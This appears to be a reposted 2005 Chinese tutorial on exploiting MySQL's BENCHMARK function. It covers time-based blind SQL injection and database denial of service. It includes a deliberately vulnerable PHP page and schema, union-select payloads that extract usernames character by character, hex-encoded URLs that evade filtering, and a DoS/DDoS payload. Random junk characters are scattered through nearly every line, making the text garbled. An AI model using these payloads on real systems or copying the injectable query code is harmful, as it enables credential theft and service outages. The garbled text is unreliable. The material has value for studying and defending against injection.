MYSQL中BENCHMARK函数的利用
: l D p, A% \本文作者:SuperHei8 K( O3 d8 ]! H
文章性质:原创
$ y+ @/ D( k4 u8 m+ v' g发布日期:2005-01-02
( _- {: f7 Q/ `0 O7 B完成日期:2004-07-09 $ ~* Y. P8 Z0 m; Z) u
第一部, d/ p, C7 {: q3 j6 I
' ?+ C( {, Y1 B
利用时间推延进行注射---BENCHMARK函数在注射中的利用
" i+ S+ x, e1 R2 R- f
f L& i6 q! n2 E! J A& P一.前言/思路9 Q2 G u; f. z) t- k
' R. D" `1 p% T. ?: M
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
; j6 v' @8 M; U- b. M. {# S, q! S) F8 w. H# K( L* P, ?
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。5 [2 l6 ~( {, R- l* F6 @; ]8 V: q
& b6 F3 G5 h! }) R二.关于BENCHMARK函数7 v1 }3 v( y) f1 ^
t) u. U! }! q3 g" b% }- \- { 在MySQL参考手册里可以看到如下描叙: 5 g3 \+ r( O/ }. m6 _( ?" @, {
' Z* D8 I' R6 P9 Y% [- w' U
3 z+ S% g# O* |% I( u/ t
--------------------------------------------------------------------------------/ P o" O6 R" Y) m; j7 k2 f% ~
; n$ f$ k2 }) E) l
BENCHMARK(count,expr)
6 R" v" ]! W6 o5 cBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 5 y4 T3 K; I$ `! c) C
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ; p5 j& _1 l% z/ ^, _- L- [1 l
+----------------------------------------------+
5 }/ a! q6 E; K4 i/ t8 h% ?/ O| BENCHMARK(1000000,encode("hello","goodbye")) | , ]' ?4 \5 d" V2 k# G
+----------------------------------------------+
$ F4 f+ q% c6 D' M6 _| 0 | - S( ~' s' L% u* H( B5 o/ C
+----------------------------------------------+ ' ~( h6 Z4 m' V4 ^) l, m& n" s
1 row in set (4.74 sec) * z8 \/ P, }; P0 r! w+ K
8 U- M8 L# N* L) ^
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
& P1 s" z# X$ \# H2 T* v: s+ ~( K/ C* H' i/ U5 b! C
: ^5 m' B6 z6 S--------------------------------------------------------------------------------! S/ U9 e; c& V3 G& n: V) ^: k
- |" Z9 N7 h4 m* k0 Y( g- U, Z 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: % l9 A5 D4 ]9 l
4 H+ I7 K9 `( u4 }
mysql> select md5( 'test' ); ; _9 H0 D( Y* P1 `; `" k
+----------------------------------+ 6 g5 J, ?# N% N* [ L
| md5( 'test' ) |
6 P @% y7 a# l6 }/ S0 G+----------------------------------+
% r8 H7 w+ y$ c| 098f6bcd4621d373cade4e832627b4f6 |
5 q# g& d: G+ O7 ~9 |% j. G+----------------------------------+ 9 [- v3 D+ ?+ x
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
) w6 }7 L8 ^( N; B& ^( ^8 X& l! j: }% _
mysql> select benchmark( 500000, md5( 'test' ) );
# }+ A# N) c2 B: H! I+------------------------------------+ 8 U; j7 { H7 t3 m' p
| benchmark( 500000, md5( 'test' ) ) |
# r7 ?* n4 O- O7 K& \+------------------------------------+
+ Y2 J4 _" L A8 q ~| 0 | $ r1 `: ^( n5 k
+------------------------------------+
' {* Y% A# T- T8 x" g- T. Q1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
6 M1 E, {- U7 }1 ~6 [# h: i8 Y2 `+ E
9 i+ I/ s* v8 c! s9 n) F0 P
8 R P+ X# u( d+ V 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
0 h T( H- P& q) }0 V3 |+ V# b7 W# T v! k2 i2 j
三.具体例子
5 B/ ^. Y: M) E: {! }" Z" E" P$ w" A1 K2 s- x% X# r
首先我们看个简单的php代码:
! O2 d+ {+ A" `# @% s- l' G; T: ^( s
6 F- G! V) P; t7 S( A4 |< ?php 5 Z- W4 H$ \' O* B* q* A* b
$servername = "localhost";
4 k3 A9 _/ W& [2 J5 t4 C$ N$ I6 b$dbusername = "root";
& X" \- s" Y) k- Z2 ^$dbpassword = ""; 9 O- F( U# i# X! K2 {. E0 z. V$ O
$dbname = "injection";
* i# `. n% L% x1 b7 G' h/ ^! i9 M& J; n; ?
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
0 n7 R4 h3 Y* B8 Z. `8 m' c
. F+ F# x: N- G4 P: |$sql = "SELECT * FROM article WHERE articleid=$id"; 1 ]7 |6 x, X2 `1 V0 ?- u
$result = mysql_db_query($dbname,$sql); ( P' ]( g! f5 p9 f
$row = mysql_fetch_array($result); / O* n$ U8 F, n- R' P
2 T- C9 |1 w; N3 i: b
if (!$row) " t+ W* L& q3 w% P5 b
{
# `, D" q/ ]7 Y8 Y% S0 Sexit;
/ {, |2 R) I+ H8 X} - b: L: ]+ s3 d2 Z" B9 X
?>! B. `, k, j, G
3 g8 ?- l J' r% S7 \
+ U, g% B& q( p9 A6 W2 h 数据库injection结构和内容如下:
5 Y: r; t6 o# x- E) y4 B# I; Y" W, z, l' p7 {/ |
# 数据库 : `injection`
: }0 a' o" _( @' g$ e: x5 K% f# * @4 H; M$ X" G4 S, I" _
5 {5 ~5 F1 E0 O+ s: f3 s# --------------------------------------------------------
5 G: b! c. y3 Y d/ S& S
- ?% W8 p6 J0 N% J! _2 ?# & `+ v& S+ s9 ~! c8 e/ ?
# 表的结构 `article`
, h# r" j6 |; r7 M9 T. G" s o6 |# . ]4 E" Q: E; x6 o
u6 R* @! ]9 K" m
CREATE TABLE `article` ( 7 x6 ~+ S' w0 Z x
`articleid` int(11) NOT NULL auto_increment, 3 I% Y3 q; v9 P( [ B
`title` varchar(100) NOT NULL default '',
; J# f( |. R, q L! h`content` text NOT NULL,
* [+ y3 p' ]. Y; u, u4 a4 SPRIMARY KEY (`articleid`)
8 i( w5 @8 O$ I! g3 Y/ Q6 o8 ?% h# V) TYPE=MyISAM AUTO_INCREMENT=3 ; ; y9 u. X+ l$ v1 y1 L
+ T7 p& V: N$ @5 ~4 p) B# ! Y9 p: ]; l, ?( W3 S
# 导出表中的数据 `article`
. i) o9 U9 h1 `& X; E* }8 g/ z# ( D \; ?; N7 d0 e+ J
2 F' g9 `! t/ V) [6 d$ S& m6 X: _INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); . _( J+ T4 p( |2 O% P
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
7 ~6 e1 o$ ?8 w d+ I+ v9 M1 O* e) e3 n0 O3 p" i& G
# -------------------------------------------------------- # ? r0 W& \5 r0 _+ U1 v* q9 P6 O& K
0 G9 n! j) C2 L4 B$ V' D
# ! C; @' ]( C* [ o3 V
# 表的结构 `user` ; P. s( T: E2 T& K" b
# 7 H/ B) Z2 F. G
, Q' g" r5 a9 T9 ^6 o, e* ]
CREATE TABLE `user` ( P) [( f1 r7 H6 E3 @# n9 N
`userid` int(11) NOT NULL auto_increment, y1 h8 x: V' A" |0 O1 a* A
`username` varchar(20) NOT NULL default '',
4 r$ A" Z" @. |' M+ ]`password` varchar(20) NOT NULL default '', / K& U: A5 H( U3 E& ?: V4 \
PRIMARY KEY (`userid`)
1 P& l: k+ i2 A G: m( f) TYPE=MyISAM AUTO_INCREMENT=3 ;
/ u$ M; x7 z0 _; q' B! |, ?! @# i1 T" r1 B
#
# x2 Z+ k; ?7 C* @! [" k; ^# 导出表中的数据 `user`
8 T& {* e2 Z, y* J8 |#
9 Z: T& [5 J2 [+ Y6 ]5 s( E! C
0 N( t- t+ L8 I3 g8 w {INSERT INTO `user` VALUES (1, 'angel', 'mypass');
8 R7 t" h) G/ \+ R6 N, ^INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
' {8 c5 {- k( H Q) F
6 L( ]: {4 J4 M4 Q! z" e5 L
7 w( \" v& N; I" q 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
2 t C1 {( c7 d: N; H1 J4 p, Q( Z
) ~0 O# Z0 K# V' v2 I/ Wid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
* M4 q* X' K' ]! C$ }
4 J! t9 D' h) e P" x6 @7 W
$ H7 @: Z; l% ~4 {( { r6 o3 c4 p 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
4 c, x2 p) z0 T) _5 k2 @8 r) v3 V) N d
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*# W7 v! S- x, e& [8 f
4 \) g8 k/ L0 i5 ^0 P- p, A; l( }
- I2 |/ n; l% i4 d& ? 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 1 z2 `: R; M# b2 J, ? I( v% ]
! X6 W% Q: Y' C8 z. }% Y" |, a
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
5 C/ I: n/ h2 b5 D9 V. `! ?5 N+ u" U
第二部, B0 q* @( M8 b' y% Y
' G* u4 V6 E% _. r/ B% p$ v0 |0 b利用BENCHMARK函数进行ddos攻击 : G: ]2 B, D8 F' N1 b2 C7 J2 q
}& P; ^3 I( ~* v7 B v8 J& C
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
7 V8 l8 f) h& o4 c1 ?' Y; |' ^0 _5 F# C7 C4 ^
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41)): g3 j/ z7 d$ n! A9 U" i
1 t) G A5 Y* O- R. y" l0 ^
) Q7 [3 _4 b* G+ l( F @6 |4 D小结 {1 b& t) M! {% S. a
, b' u! u1 l2 @& H7 A q
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
1 V* j- H0 ^* E3 l/ f+ \ 9 F7 X2 N6 B, H: \" e2 D
" k5 p% k, I' F' G
|